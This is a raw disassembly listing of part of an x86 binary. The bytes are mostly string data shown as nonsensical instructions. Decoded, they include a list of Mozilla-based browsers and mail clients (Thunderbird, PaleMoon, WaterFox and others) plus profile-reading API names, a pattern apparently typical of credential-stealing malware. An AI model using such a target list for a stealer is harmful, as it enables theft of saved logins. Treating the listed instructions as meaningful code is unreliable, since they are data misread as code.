44513f:	00 77 66             	add    %dh,0x66(%edi)
445142:	75 00                	jne    0x445144
445144:	77 66                	ja     0x4451ac
445146:	76 00                	jbe    0x445148
445148:	77 6c                	ja     0x4451b6
44514a:	67 00 77 6c          	add    %dh,0x6c(%bx)
44514e:	71 00                	jno    0x445150
445150:	77 6c                	ja     0x4451be
445152:	73 00                	jae    0x445154
445154:	77 6c                	ja     0x4451c2
445156:	63 00                	arpl   %eax,(%eax)
445158:	77 6c                	ja     0x4451c6
44515a:	78 00                	js     0x44515c
44515c:	77 70                	ja     0x4451ce
44515e:	65 00 77 70          	add    %dh,%gs:0x70(%edi)
445162:	61                   	popa
445163:	00 77 72             	add    %dh,0x72(%edi)
445166:	6a 00                	push   $0x0
445168:	65 67 76 00          	gs addr16 jbe 0x44516c
44516c:	65 67 63 00          	arpl   %eax,%gs:(%bx,%si)
445170:	42                   	inc    %edx
445171:	41                   	inc    %ecx
445172:	53                   	push   %ebx
445173:	45                   	inc    %ebp
445174:	36 34 00             	ss xor $0x0,%al
445177:	65 67 78 00          	gs addr16 js 0x44517b
44517b:	77 72                	ja     0x4451ef
44517d:	6b 00 77             	imul   $0x77,(%eax),%eax
445180:	72 73                	jb     0x4451f5
445182:	00 77 72             	add    %dh,0x72(%edi)
445185:	7a 00                	jp     0x445187
445187:	77 6a                	ja     0x4451f3
445189:	79 00                	jns    0x44518b
44518b:	77 6a                	ja     0x4451f7
44518d:	6d                   	insl   (%dx),%es:(%edi)
44518e:	00 77 6b             	add    %dh,0x6b(%edi)
445191:	62 00                	bound  %eax,(%eax)
445193:	77 6b                	ja     0x445200
445195:	6e                   	outsb  %ds:(%esi),(%dx)
445196:	00 77 67             	add    %dh,0x67(%edi)
445199:	71 00                	jno    0x44519b
44519b:	77 67                	ja     0x445204
44519d:	73 00                	jae    0x44519f
44519f:	77 67                	ja     0x445208
4451a1:	62 00                	bound  %eax,(%eax)
4451a3:	77 67                	ja     0x44520c
4451a5:	6d                   	insl   (%dx),%es:(%edi)
4451a6:	00 77 71             	add    %dh,0x71(%edi)
4451a9:	73 00                	jae    0x4451ab
4451ab:	77 73                	ja     0x445220
4451ad:	6e                   	outsb  %ds:(%esi),(%dx)
4451ae:	00 77 74             	add    %dh,0x74(%edi)
4451b1:	76 00                	jbe    0x4451b3
4451b3:	47                   	inc    %edi
4451b4:	65 74 50             	gs je  0x445207
4451b7:	72 69                	jb     0x445222
4451b9:	76 61                	jbe    0x44521c
4451bb:	74 65                	je     0x445222
4451bd:	50                   	push   %eax
4451be:	72 6f                	jb     0x44522f
4451c0:	66 69 6c 65 53 74 72 	imul   $0x7274,0x53(%ebp,%eiz,2),%bp
4451c7:	69 6e 67 00 77 74 63 	imul   $0x63747700,0x67(%esi),%ebp
4451ce:	00 77 74             	add    %dh,0x74(%edi)
4451d1:	78 00                	js     0x4451d3
4451d3:	77 79                	ja     0x44524e
4451d5:	6d                   	insl   (%dx),%es:(%edi)
4451d6:	00 77 79             	add    %dh,0x79(%edi)
4451d9:	7a 00                	jp     0x4451db
4451db:	77 79                	ja     0x445256
4451dd:	68 00 77 79 6e       	push   $0x6e797700
4451e2:	00 77 79             	add    %dh,0x79(%edi)
4451e5:	75 00                	jne    0x4451e7
4451e7:	77 79                	ja     0x445262
4451e9:	76 00                	jbe    0x4451eb
4451eb:	77 79                	ja     0x445266
4451ed:	63 00                	arpl   %eax,(%eax)
4451ef:	77 6d                	ja     0x44525e
4451f1:	75 00                	jne    0x4451f3
4451f3:	66 6c                	data16 insb (%dx),%es:(%edi)
4451f5:	72 00                	jb     0x4451f7
4451f7:	66 6c                	data16 insb (%dx),%es:(%edi)
4451f9:	75 00                	jne    0x4451fb
4451fb:	66 70 65             	data16 jo 0x445263
4451fe:	00 66 70             	add    %ah,0x70(%esi)
445201:	71 00                	jno    0x445203
445203:	66 70 6d             	data16 jo 0x445273
445206:	00 66 70             	add    %ah,0x70(%esi)
445209:	76 00                	jbe    0x44520b
44520b:	66 72 6a             	data16 jb 0x445278
44520e:	00 66 72             	add    %ah,0x72(%esi)
445211:	62 00                	bound  %eax,(%eax)
445213:	66 72 68             	data16 jb 0x44527e
445216:	00 66 72             	add    %ah,0x72(%esi)
445219:	78 00                	js     0x44521b
44521b:	66 61                	popaw
44521d:	79 00                	jns    0x44521f
44521f:	66 6b 73 00 66       	imul   $0x66,0x0(%ebx),%si
445224:	6b 62 00 66          	imul   $0x66,0x0(%edx),%esp
445228:	6b 74 00 66 67       	imul   $0x67,0x66(%eax,%eax,1),%esi
44522d:	73 00                	jae    0x44522f
44522f:	66 67 62 00          	bound  %ax,(%bx,%si)
445233:	66 67 74 00          	data16 addr16 je 0x445237
445237:	66 67 79 00          	data16 addr16 jns 0x44523b
44523b:	66 67 6d             	insw   (%dx),%es:(%di)
44523e:	00 66 67             	add    %ah,0x67(%esi)
445241:	63 00                	arpl   %eax,(%eax)
445243:	66 71 79             	data16 jno 0x4452bf
445246:	00 66 62             	add    %ah,0x62(%esi)
445249:	6e                   	outsb  %ds:(%esi),(%dx)
44524a:	00 66 62             	add    %ah,0x62(%esi)
44524d:	75 00                	jne    0x44524f
44524f:	66 74 79             	data16 je 0x4452cb
445252:	00 66 79             	add    %ah,0x79(%esi)
445255:	6e                   	outsb  %ds:(%esi),(%dx)
445256:	00 66 79             	add    %ah,0x79(%esi)
445259:	75 00                	jne    0x44525b
44525b:	66 6d                	insw   (%dx),%es:(%edi)
44525d:	7a 00                	jp     0x44525f
44525f:	66 6e                	data16 outsb %ds:(%esi),(%dx)
445261:	75 00                	jne    0x445263
445263:	66 6e                	data16 outsb %ds:(%esi),(%dx)
445265:	76 00                	jbe    0x445267
445267:	66 6e                	data16 outsb %ds:(%esi),(%dx)
445269:	63 00                	arpl   %eax,(%eax)
44526b:	66 76 78             	data16 jbe 0x4452e6
44526e:	00 6c 70 74          	add    %ch,0x74(%eax,%esi,2)
445272:	00 6c 72 6a          	add    %ch,0x6a(%edx,%esi,2)
445276:	00 6c 65 61          	add    %ch,0x61(%ebp,%eiz,2)
44527a:	00 6c 65 6a          	add    %ch,0x6a(%ebp,%eiz,2)
44527e:	00 6c 65 6d          	add    %ch,0x6d(%ebp,%eiz,2)
445282:	00 6c 65 7a          	add    %ch,0x7a(%ebp,%eiz,2)
445286:	00 6c 65 68          	add    %ch,0x68(%ebp,%eiz,2)
44528a:	00 6c 61 6a          	add    %ch,0x6a(%ecx,%eiz,2)
44528e:	00 6c 61 6b          	add    %ch,0x6b(%ecx,%eiz,2)
445292:	00 6c 61 67          	add    %ch,0x67(%ecx,%eiz,2)
445296:	00 6c 61 62          	add    %ch,0x62(%ecx,%eiz,2)
44529a:	00 6c 6a 67          	add    %ch,0x67(%edx,%ebp,2)
44529e:	00 6c 6b 67          	add    %ch,0x67(%ebx,%ebp,2)
4452a2:	00 6c 6b 78          	add    %ch,0x78(%ebx,%ebp,2)
4452a6:	00 6c 67 71          	add    %ch,0x71(%edi,%eiz,2)
4452aa:	00 6c 67 6e          	add    %ch,0x6e(%edi,%eiz,2)
4452ae:	00 6c 73 79          	add    %ch,0x79(%ebx,%esi,2)
4452b2:	00 6c 74 76          	add    %ch,0x76(%esp,%esi,2)
4452b6:	00 6c 68 78          	add    %ch,0x78(%eax,%ebp,2)
4452ba:	00 70 72             	add    %dh,0x72(%eax)
4452bd:	6a 00                	push   $0x0
4452bf:	70 72                	jo     0x445333
4452c1:	76 00                	jbe    0x4452c3
4452c3:	70 65                	jo     0x44532a
4452c5:	6e                   	outsb  %ds:(%esi),(%dx)
4452c6:	00 70 65             	add    %dh,0x65(%eax)
4452c9:	75 00                	jne    0x4452cb
4452cb:	70 61                	jo     0x44532e
4452cd:	79 00                	jns    0x4452cf
4452cf:	70 61                	jo     0x445332
4452d1:	6d                   	insl   (%dx),%es:(%edi)
4452d2:	00 70 6a             	add    %dh,0x6a(%eax)
4452d5:	71 00                	jno    0x4452d7
4452d7:	70 6b                	jo     0x445344
4452d9:	67 00 70 6b          	add    %dh,0x6b(%bx,%si)
4452dd:	78 00                	js     0x4452df
4452df:	70 67                	jo     0x445348
4452e1:	63 00                	arpl   %eax,(%eax)
4452e3:	70 67                	jo     0x44534c
4452e5:	78 00                	js     0x4452e7
4452e7:	70 71                	jo     0x44535a
4452e9:	78 00                	js     0x4452eb
4452eb:	70 73                	jo     0x445360
4452ed:	62 00                	bound  %eax,(%eax)
4452ef:	70 73                	jo     0x445364
4452f1:	6e                   	outsb  %ds:(%esi),(%dx)
4452f2:	00 70 74             	add    %dh,0x74(%eax)
4452f5:	63 00                	arpl   %eax,(%eax)
4452f7:	70 74                	jo     0x44536d
4452f9:	78 00                	js     0x4452fb
4452fb:	70 79                	jo     0x445376
4452fd:	63 00                	arpl   %eax,(%eax)
4452ff:	70 68                	jo     0x445369
445301:	75 00                	jne    0x445303
445303:	70 75                	jo     0x44537a
445305:	76 00                	jbe    0x445307
445307:	70 75                	jo     0x44537e
445309:	63 00                	arpl   %eax,(%eax)
44530b:	72 65                	jb     0x445372
44530d:	62 00                	bound  %eax,(%eax)
44530f:	72 65                	jb     0x445376
445311:	74 00                	je     0x445313
445313:	72 65                	jb     0x44537a
445315:	75 00                	jne    0x445317
445317:	72 65                	jb     0x44537e
445319:	76 00                	jbe    0x44531b
44531b:	72 61                	jb     0x44537e
44531d:	6a 00                	push   $0x0
44531f:	72 61                	jb     0x445382
445321:	6b 00 72             	imul   $0x72,(%eax),%eax
445324:	61                   	popa
445325:	62 00                	bound  %eax,(%eax)
445327:	72 6b                	jb     0x445394
445329:	73 00                	jae    0x44532b
44532b:	72 73                	jb     0x4453a0
44532d:	68 00 72 73 6e       	push   $0x6e737200
445332:	00 72 73             	add    %dh,0x73(%edx)
445335:	75 00                	jne    0x445337
445337:	72 74                	jb     0x4453ad
445339:	63 00                	arpl   %eax,(%eax)
44533b:	72 74                	jb     0x4453b1
44533d:	78 00                	js     0x44533f
44533f:	72 79                	jb     0x4453ba
445341:	6d                   	insl   (%dx),%es:(%edi)
445342:	00 72 79             	add    %dh,0x79(%edx)
445345:	7a 00                	jp     0x445347
445347:	72 79                	jb     0x4453c2
445349:	68 00 72 79 76       	push   $0x76797200
44534e:	00 72 79             	add    %dh,0x79(%edx)
445351:	63 00                	arpl   %eax,(%eax)
445353:	72 79                	jb     0x4453ce
445355:	78 00                	js     0x445357
445357:	72 6d                	jb     0x4453c6
445359:	68 00 72 6e 63       	push   $0x636e7200
44535e:	00 72 6e             	add    %dh,0x6e(%edx)
445361:	78 00                	js     0x445363
445363:	65 61                	gs popa
445365:	6b 00 65             	imul   $0x65,(%eax),%eax
445368:	61                   	popa
445369:	67 00 65 61          	add    %ah,0x61(%di)
44536d:	71 00                	jno    0x44536f
44536f:	65 6a 6b             	gs push $0x6b
445372:	00 65 6a             	add    %ah,0x6a(%ebp)
445375:	67 00 65 6a          	add    %ah,0x6a(%di)
445379:	6e                   	outsb  %ds:(%esi),(%dx)
44537a:	00 65 6a             	add    %ah,0x6a(%ebp)
44537d:	75 00                	jne    0x44537f
44537f:	65 6a 63             	gs push $0x63
445382:	00 65 6b             	add    %ah,0x6b(%ebp)
445385:	6e                   	outsb  %ds:(%esi),(%dx)
445386:	00 65 6b             	add    %ah,0x6b(%ebp)
445389:	75 00                	jne    0x44538b
44538b:	65 67 73 00          	gs addr16 jae 0x44538f
44538f:	65 67 62 00          	bound  %eax,%gs:(%bx,%si)
445393:	65 67 74 00          	gs addr16 je 0x445397
445397:	77 70                	ja     0x445409
445399:	62 00                	bound  %eax,(%eax)
44539b:	44                   	inc    %esp
44539c:	69 63 74 69 6f 6e 61 	imul   $0x616e6f69,0x74(%ebx),%esp
4453a3:	72 79                	jb     0x44541e
4453a5:	60                   	pusha
4453a6:	32 00                	xor    (%eax),%al
4453a8:	77 70                	ja     0x44541a
4453aa:	74 00                	je     0x4453ac
4453ac:	77 70                	ja     0x44541e
4453ae:	79 00                	jns    0x4453b0
4453b0:	77 70                	ja     0x445422
4453b2:	75 00                	jne    0x4453b4
4453b4:	77 70                	ja     0x445426
4453b6:	76 00                	jbe    0x4453b8
4453b8:	65 71 73             	gs jno 0x44542e
4453bb:	00 65 74             	add    %ah,0x74(%ebp)
4453be:	68 00 65 71 62       	push   $0x62716500
4453c3:	00 65 71             	add    %ah,0x71(%ebp)
4453c6:	74 00                	je     0x4453c8
4453c8:	65 73 79             	gs jae 0x445444
4453cb:	00 65 73             	add    %ah,0x73(%ebp)
4453ce:	6d                   	insl   (%dx),%es:(%edi)
4453cf:	00 65 73             	add    %ah,0x73(%ebp)
4453d2:	6e                   	outsb  %ds:(%esi),(%dx)
4453d3:	00 65 73             	add    %ah,0x73(%ebp)
4453d6:	75 00                	jne    0x4453d8
4453d8:	65 73 76             	gs jae 0x445451
4453db:	00 65 73             	add    %ah,0x73(%ebp)
4453de:	63 00                	arpl   %eax,(%eax)
4453e0:	65 62 6d 00          	bound  %ebp,%gs:0x0(%ebp)
4453e4:	65 62 7a 00          	bound  %edi,%gs:0x0(%edx)
4453e8:	65 62 68 00          	bound  %ebp,%gs:0x0(%eax)
4453ec:	65 62 6e 00          	bound  %ebp,%gs:0x0(%esi)
4453f0:	65 62 75 00          	bound  %esi,%gs:0x0(%ebp)
4453f4:	65 62 78 00          	bound  %edi,%gs:0x0(%eax)
4453f8:	65 74 79             	gs je  0x445474
4453fb:	00 65 74             	add    %ah,0x74(%ebp)
4453fe:	6d                   	insl   (%dx),%es:(%edi)
4453ff:	00 65 74             	add    %ah,0x74(%ebp)
445402:	6e                   	outsb  %ds:(%esi),(%dx)
445403:	00 65 74             	add    %ah,0x74(%ebp)
445406:	75 00                	jne    0x445408
445408:	65 74 76             	gs je  0x445481
44540b:	00 65 79             	add    %ah,0x79(%ebp)
44540e:	68 00 65 79 6e       	push   $0x6e796500
445413:	00 65 79             	add    %ah,0x79(%ebp)
445416:	75 00                	jne    0x445418
445418:	65 79 76             	gs jns 0x445491
44541b:	00 65 6e             	add    %ah,0x6e(%ebp)
44541e:	78 00                	js     0x445420
445420:	65 75 76             	gs jne 0x445499
445423:	00 4d 6f             	add    %cl,0x6f(%ebp)
445426:	7a 69                	jp     0x445491
445428:	6c                   	insb   (%dx),%es:(%edi)
445429:	6c                   	insb   (%dx),%es:(%edi)
44542a:	61                   	popa
44542b:	00 50 6f             	add    %dl,0x6f(%eax)
44542e:	73 74                	jae    0x4454a4
445430:	62 6f 78             	bound  %ebp,0x78(%edi)
445433:	00 54 68 75          	add    %dl,0x75(%eax,%ebp,2)
445437:	6e                   	outsb  %ds:(%esi),(%dx)
445438:	64 65 72 62          	fs gs jb 0x44549e
44543c:	69 72 64 00 53 65 61 	imul   $0x61655300,0x64(%edx),%esi
445443:	4d                   	dec    %ebp
445444:	6f                   	outsl  %ds:(%esi),(%dx)
445445:	6e                   	outsb  %ds:(%esi),(%dx)
445446:	6b 65 79 00          	imul   $0x0,0x79(%ebp),%esp
44544a:	46                   	inc    %esi
44544b:	6c                   	insb   (%dx),%es:(%edi)
44544c:	6f                   	outsl  %ds:(%esi),(%dx)
44544d:	63 6b 00             	arpl   %ebp,0x0(%ebx)
445450:	42                   	inc    %edx
445451:	6c                   	insb   (%dx),%es:(%edi)
445452:	61                   	popa
445453:	63 6b 48             	arpl   %ebp,0x48(%ebx)
445456:	61                   	popa
445457:	77 6b                	ja     0x4454c4
445459:	00 43 79             	add    %al,0x79(%ebx)
44545c:	62 65 72             	bound  %esp,0x72(%ebp)
44545f:	46                   	inc    %esi
445460:	6f                   	outsl  %ds:(%esi),(%dx)
445461:	78 00                	js     0x445463
445463:	4b                   	dec    %ebx
445464:	4d                   	dec    %ebp
445465:	65 6c                	gs insb (%dx),%es:(%edi)
445467:	65 6f                	outsl  %gs:(%esi),(%dx)
445469:	6e                   	outsb  %ds:(%esi),(%dx)
44546a:	00 49 63             	add    %cl,0x63(%ecx)
44546d:	65 43                	gs inc %ebx
44546f:	61                   	popa
445470:	74 00                	je     0x445472
445472:	50                   	push   %eax
445473:	61                   	popa
445474:	6c                   	insb   (%dx),%es:(%edi)
445475:	65 4d                	gs dec %ebp
445477:	6f                   	outsl  %ds:(%esi),(%dx)
445478:	6f                   	outsl  %ds:(%esi),(%dx)
445479:	6e                   	outsb  %ds:(%esi),(%dx)
44547a:	00 49 63             	add    %cl,0x63(%ecx)
44547d:	65 44                	gs inc %esp
44547f:	72 61                	jb     0x4454e2
445481:	67 6f                	outsl  %ds:(%si),(%dx)
445483:	6e                   	outsb  %ds:(%esi),(%dx)
445484:	00 57 61             	add    %dl,0x61(%edi)
445487:	74 65                	je     0x4454ee
445489:	72 46                	jb     0x4454d1
44548b:	6f                   	outsl  %ds:(%esi),(%dx)
44548c:	78 00                	js     0x44548e
44548e:	6a 6e                	push   $0x6e